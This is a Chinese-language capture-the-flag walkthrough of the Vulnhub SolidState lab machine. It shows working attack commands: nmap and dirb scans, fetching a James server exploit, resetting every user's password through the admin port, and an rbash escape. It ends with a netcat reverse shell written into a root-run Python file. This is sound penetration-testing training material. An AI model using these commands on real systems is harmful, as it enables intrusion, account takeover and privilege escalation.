本篇文章旨在为网络安全渗透测试行业靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列Solidstate靶机有定的了解
一、信息收集阶段
靶机官网:https://www.vulnhub.com/entry/solidstate-1%2C261/
因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得到信息IP为:192.168.60.0/24
1、扫描网段,发现主机
nmap -sP 192.168.60.0/24
2、扫描主机详细信息
nmap -sT -sV -sC 192.168.60.170
#-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
#-sV 尝试确定每个打开端口上运行的服务的版本
#-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等
二、攻击面寻找及攻击阶段
1、Wappalyzer插件
2、枚举网页目录
dirb http://192.168.60.170/
3、search james历史漏洞
刚才在信息阶段看到很多服务都是跟james有关,重复出现的信息很大概率是可以利用
searchsploit james
4、下载 james历史漏洞的exp利用文件
searchsploit james -m 35513.py
5、查看exp利用方法
cat 35513.py #查看刚才下载的exp文件
6、nc连接靶机4555端口
nc -nvv 192.168.60.170 4555
#-n不进行DNS解析,直接使用IP地址。
#-vv:表示详细模式(verbose mode),显示更多关于连接和数据传输的信息。
7、查看帮助
help
8、列出所有用户并修改这些用户的密码
listusers
setpassword james 123 #修改james用户密码为123
setpassword thomas 123
setpassword john 123
setpassword mindy 123
setpassword mailadmin 123
9、使用修改密码的用户连接110端口(POP3服务)查看信件
nc -nvC 192.168.60.170 110
#-n:不进行DNS解析,直接使用IP地址。
#-v:详细模式,输出更多关于连接和数据传输的信息
#-C:发送CRLF(\r )作为行结束符。这在某些协议(如POP3)中是必要的,因为它们期望以CRLF作为行结束符
user (账号) #输入账号
pass 123 #输入密码
刚才登录所有用户,发现只有mindy邮件存在有用的信息
list #查看信件
retr 1 #查看信件1内容
retr 2 #查看信件2内容
10、使用信件2的账号密码登录ssh
ssh mindy@192.168.60.170
P@55W0rd1!2@
三、提权阶段
1、rbash绕过
ssh mindy@192.168.60.170 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/bash\")'"
P@55W0rd1!2@
2、查找root所有文件中其他用户可以修改的文件
find / -type f -user root -perm -o=w 2>/dev/null | grep -v 'proc\|sys'
#find /:在根目录(/)下进行查找。
#-type f:查找类型为普通文件的项。
#-user root:查找所有者为root的文件。
#-perm -o=w:查找拥有写权限的文件,-o=是一个OR条件,表示至少拥有指定的权限。
#2>/dev/null:将错误信息重定向到/dev/null,即不在控制台上显示错误信息。
#| grep -v 'proc\|sys':使用grep过滤查找结果,-v参数表示显示不匹配的
3、攻击机监听端口
nc -lvvp 4444
nc -lvvp 5555
4、echo反弹shell到tmp.py
os.system('nc 192.168.60.128 4444| /bin/bash | nc 192.168.60.128 5555')
5、执行tmp.py
python tmp.py
6、提权成功
声明! 学习内容来自B站up主 泷羽sec的OSCP考证培训课程有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!